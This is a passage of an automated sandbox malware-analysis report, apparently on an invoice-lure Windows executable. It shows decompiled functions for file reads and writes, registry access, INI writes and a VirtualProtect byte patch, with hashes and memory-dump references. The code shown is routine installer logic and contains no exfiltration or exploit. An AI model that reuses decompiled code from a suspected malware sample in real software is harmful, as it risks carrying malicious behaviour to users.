Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 40b198138207619067f93710a4144b0ab42955a9d792b68c103873f962a5e6e3
Instruction ID: 04fee3d4d7e5b74fc81c5da63ec9780f5c3edfef74eedbdec85e791af98b68b0
Opcode Fuzzy Hash: 40b198138207619067f93710a4144b0ab42955a9d792b68c103873f962a5e6e3
Instruction Fuzzy Hash: 5CF0B431608114A7DB20B7B64F0DE5F61649F96368F24073FF012F21D1EABC8911956F

Uniqueness

Uniqueness Score: -1.00%

Function 004027E9 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E004027E9(intOrPtr __edx, void* __eflags) {
				long _t8;
				long _t10;
				LONG* _t12;
				void* _t14;
				intOrPtr _t15;
				void* _t17;
				void* _t19;

				_t15 = __edx;
				_push(ds);
				if(__eflags != 0) {
					_t8 = E00402C15(2);
					_pop(_t14);
					 *((intOrPtr*)(_t19 - 0x4c)) = _t15;
					_t10 = SetFilePointer(E004061BF(_t14, _t17), _t8, _t12,  *(_t19 - 0x1c)); // executed
					if( *((intOrPtr*)(_t19 - 0x24)) >= _t12) {
						_push(_t10);
						_push( *((intOrPtr*)(_t19 - 0xc)));
						E004061A6();
					}
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x004027e9
0x004027e9
0x004027ea
0x004027f2
0x004027f7
0x004027f8
0x00402807
0x00402810
0x00402a61
0x00402a62
0x00402a65
0x00402a65
0x00402810
0x00402ac2
0x00402ace

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 00402807

Part of subcall function 004061A6: wsprintfW.USER32 ref: 004061B3

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 876bb964a1d0d5fa4607f701cb9d9138871ffb593e28fb7de57c31c7f2bc0863
Instruction ID: 21d8c208f5d5b54c8d66c8a0ecd09dde93b5cc4591d01b86724f3e283dce4822
Opcode Fuzzy Hash: 876bb964a1d0d5fa4607f701cb9d9138871ffb593e28fb7de57c31c7f2bc0863
Instruction Fuzzy Hash: B0E06D72A00104AEDB11EBA5AE498AE7779EB80304B18803BF101F51D2CA790D128A2E

Uniqueness

Uniqueness Score: -1.00%

Function 00402306 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402306(int __eax, WCHAR* __ebx) {
				WCHAR* _t11;
				WCHAR* _t13;
				void* _t17;
				int _t21;

				_t11 = __ebx;
				_t5 = __eax;
				_t13 = 0;
				if(__eax != __ebx) {
					__eax = E00402C37(__ebx);
				}
				if( *((intOrPtr*)(_t17 - 0x24)) != _t11) {
					_t13 = E00402C37(0x11);
				}
				if( *((intOrPtr*)(_t17 - 0x18)) != _t11) {
					_t11 = E00402C37(0x22);
				}
				_t5 = WritePrivateProfileStringW(0, _t13, _t11, E00402C37(0xffffffcd)); // executed
				_t21 = _t5;
				if(_t21 == 0) {
					 *((intOrPtr*)(_t17 - 4)) = 1;
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t17 - 4));
				return 0;
			}

0x00402306
0x00402306
0x00402308
0x0040230c
0x0040230f
0x00402314
0x00402319
0x00402322
0x00402322
0x00402327
0x00402330
0x00402330
0x0040233d
0x004015b4
0x004015b6
0x00402885
0x00402885
0x00402ac2
0x00402ace

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040233D

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 1dce38b79505221ce4b7bc88ab3e9170ef46380229fb416b358eff110e7ef696
Instruction ID: f718b570c03cd879152723008abd35f840e0595a9afadee28286a7759bd10add
Opcode Fuzzy Hash: 1dce38b79505221ce4b7bc88ab3e9170ef46380229fb416b358eff110e7ef696
Instruction Fuzzy Hash: A1E086719042686EE7303AF10F8EDBF50989B44348B55093FBA01B61C2D9FC0D46826D

Uniqueness

Uniqueness Score: -1.00%

Function 00401735 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401735() {
				long _t5;
				WCHAR* _t8;
				WCHAR* _t12;
				void* _t14;
				long _t17;

				_t5 = SearchPathW(_t8, E00402C37(0xffffffff), _t8, 0x400, _t12, _t14 + 8); // executed
				_t17 = _t5;
				if(_t17 == 0) {
					 *((intOrPtr*)(_t14 - 4)) = 1;
					 *_t12 = _t8;
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t14 - 4));
				return 0;
			}

0x00401749
0x0040174f
0x00401751
0x00402853
0x0040285a
0x0040285a
0x00402ac2
0x00402ace

APIs

SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 00401749

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 875acb00c645770f213fe7cf4565295393cc7a65273a1ece8f838635e2e5a846
Instruction ID: 1a21f3817f07a007d07fb30ace0b1820adccec601593f7c7bbd26e2b342b2bae
Opcode Fuzzy Hash: 875acb00c645770f213fe7cf4565295393cc7a65273a1ece8f838635e2e5a846
Instruction Fuzzy Hash: 33E048B2704104AAD750DBA4DE49AAA7758DF40368B20853AF111E51C1D6B45941976D

Uniqueness

Uniqueness Score: -1.00%

Function 004060FA Relevance: 1.5, APIs: 1, Instructions: 24
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060FA(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E00406051(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegCreateKeyExW(_t7, _a8, 0, 0, 0, _a12, 0, _a16, 0); // executed
					return _t8;
				}
				_t9 = 6;
				return _t9;
			}

0x00406104
0x0040610d
0x00406123
0x00000000
0x00406123
0x00406111
0x00000000

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CE8,00000000,?,?), ref: 00406123

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: 1ce12e5a620d0377d06846f84a02a75369475120c61fa63bf0211ee428df1362
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 67E0E6B2010109BEDF099F50DD0AD7B371DE704704F01492EFA06D4051E6B5E9706B74

Uniqueness

Uniqueness Score: -1.00%

Function 00405E03 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405E03(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405e07
0x00405e17
0x00405e1f
0x00000000
0x00405e26
0x00000000
0x00405e28

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,004032BB,000000FF,0078B6D8,?,0078B6D8,?,?,00000004,00000000), ref: 00405E17

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: c8204e3b8f5822b3fc4a752f4075b10d4d5d267c9e9767057f3313d1a75d1f26
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 38E0E632510559ABDF116F55DC00AEB775CFB05360F004436FD55E7150D671E9219BE4

Uniqueness

Uniqueness Score: -1.00%

Function 00405DD4 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DD4(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405dd8
0x00405de8
0x00405df0
0x00000000
0x00405df7
0x00000000
0x00405df9

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,00403305,00000000,00000000,0040314C,?,00000004,00000000,00000000,00000000), ref: 00405DE8

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: b9e836fab2427aaa168680a15f0f0ce7fefe47de654f12bfd99ea101fd6ea48b
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7DE0EC3222425EABDF509E559C04EEB7B6DEF05360F048837FD15E7160D631E921ABA8

Uniqueness

Uniqueness Score: -1.00%

Function 100027C2 Relevance: 1.5, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x10004048 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x1000405c, 4, 0x40, 0x1000404c); // executed
					 *0x1000405c = 0xc2;
					 *0x1000404c = 0;
					 *0x10004054 = 0;
					 *0x10004068 = 0;
					 *0x10004058 = 0;
					 *0x10004050 = 0;
					 *0x10004060 = 0;
					 *0x1000405e = 0;
				}
				return 1;
			}

0x100027cb
0x100027d0
0x100027e0
0x100027e8
0x100027ef
0x100027f4
0x100027f9
0x100027fe
0x10002803
0x10002808
0x1000280d
0x1000280d
0x10002815

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E0

Memory Dump Source

Source File: 00000001.00000002.52425263791.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.52425241360.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425288590.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425312463.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Rechung-R1663322504.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 43a77b614ff4017466e57d7f63f0e44ab05d53355a3bca00642047650885b550
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: C5F0A5F15057A0DEF350DF688C847063BE4E3583C4B03852AE368F6269EB344454DF19

Uniqueness

Uniqueness Score: -1.00%

Function 004060CC Relevance: 1.5, APIs: 1, Instructions: 19
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060CC(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E00406051(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegOpenKeyExW(_t7, _a8, 0, _a12, _a16); // executed
					return _t8;
				}
				_t9 = 6;
				return _t9;
			}

0x004060d6
0x004060dd
0x004060f0
0x00000000
0x004060f0
0x004060e1
0x00000000

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,007A0F00,?,?,0040615A,007A0F00,00000000,?,?,Call,?), ref: 004060F0

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: ced63528db1e32a5bcf3a8a8acf2bd7baad3650648e26365f6afbd74657f9209
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: BED0123208020DBBDF219F909D01FAB375DAB04354F018436FE06E4190DB76D570AB14

Uniqueness

Uniqueness Score: -1.00%

Function 004015A3 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004015A3() {
				int _t5;
				void* _t11;
				int _t14;

				_t5 = SetFileAttributesW(E00402C37(0xfffffff0),  *(_t11 - 0x24)); // executed
				_t14 = _t5;
				if(_t14 == 0) {
					 *((intOrPtr*)(_t11 - 4)) = 1;
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t11 - 4));
				return 0;
			}

0x004015ae
0x004015b4
0x004015b6
0x00402885
0x00402885
0x00402ac2
0x00402ace

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6eb76b24ce870ef992c4327a1b2b518c4e6cabc1d7ccad815c10311b33b2bb2a
Instruction ID: 129b57beed9750de1dc8ac5f086523220a35585882bce30df6ddda6966387252
Opcode Fuzzy Hash: 6eb76b24ce870ef992c4327a1b2b518c4e6cabc1d7ccad815c10311b33b2bb2a
Instruction Fuzzy Hash: DFD01272B04104DBDB51DBE4AF0859D72A5AB50364B208577E101F11D1DABD89549B19

Uniqueness

Uniqueness Score: -1.00%

Function 00404240 Relevance: 1.5, APIs: 1, Instructions: 9
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404240(int _a4) {
				struct HWND__* _t2;
				long _t3;

				_t2 =  *0x7a79f8; // 0x10424
				if(_t2 != 0) {
					_t3 = SendMessageW(_t2, _a4, 0, 0); // executed
					return _t3;
				}
				return _t2;
			}

0x00404240
0x00404247
0x00404252
0x00000000
0x00404252
0x00404258

APIs

SendMessageW.USER32(00010424,00000000,00000000,00000000), ref: 00404252

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: cb0b7ebd38eb4799b8f4196fcc58e5a20f32a56ef1c2a101366cf6dcdfe2cd36
Instruction ID: 05de0a4d5a0d3ad16659c86bea74b86f68b6b4ad9b47f793b7e3caf381fa8301
Opcode Fuzzy Hash: cb0b7ebd38eb4799b8f4196fcc58e5a20f32a56ef1c2a101366cf6dcdfe2cd36
Instruction Fuzzy Hash: 10C09BB17843017BDE109B509D49F0777585BE0741F15857D7350F50E0C674E450D61D

Uniqueness

Uniqueness Score: -1.00%

Function 00403308 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403308(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x00403316
0x0040331c

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00403088,?,?,00000006,00000008,0000000A), ref: 00403316

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

